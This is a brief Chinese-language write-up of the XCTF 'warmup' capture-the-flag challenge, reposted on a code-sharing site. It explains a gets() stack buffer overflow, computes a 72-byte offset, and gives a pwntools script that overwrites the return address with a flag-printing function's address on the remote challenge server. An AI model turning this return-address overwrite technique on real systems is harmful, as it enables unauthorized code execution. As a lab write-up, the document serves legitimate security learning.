XCTF warmup write up


nc 一下给的地址和端口号

 

 看一下源文件

 

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
sh = remote('111.198.29.45',56844)
target = 0x40060d
sh.sendline('A' * 72 + p64(target))
sh.interactive()

 

 喜提flag。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM